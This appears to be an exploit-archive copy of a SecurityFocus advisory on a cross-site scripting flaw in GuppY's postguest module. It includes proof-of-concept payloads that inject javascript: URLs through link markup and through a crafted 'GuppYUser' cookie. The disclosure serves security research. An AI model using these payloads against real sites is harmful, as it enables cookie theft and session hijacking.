14 lines
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850 B
Text
Executable file
14 lines
No EOL
850 B
Text
Executable file
source: http://www.securityfocus.com/bid/8768/info
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GuppY is reported to be prone to a cross-site scripting vulnerability due to insufficient sanitization of user-supplied input. The problem exists in the postguest module of the software. This issue may allow a remote attacker to execute HTML or script code in user's browser.
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Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials. Other attacks may also be possible.
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- [l]" style="background:url('javascript:[SCRIPT]');visibility:hidden;[/l]
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- [l][l] style=list-style:url(javascript:[SCRIPT]) truc=[/l][/l]
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- With a cookie named "GuppYUser" and with the value :
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fr||[NICK]||[MAIL]||LR||||on||<br
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style="background:url('javascript:[SCRIPT]')">, if you send a message
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(forum, guestbook,...) the javascript is executed. |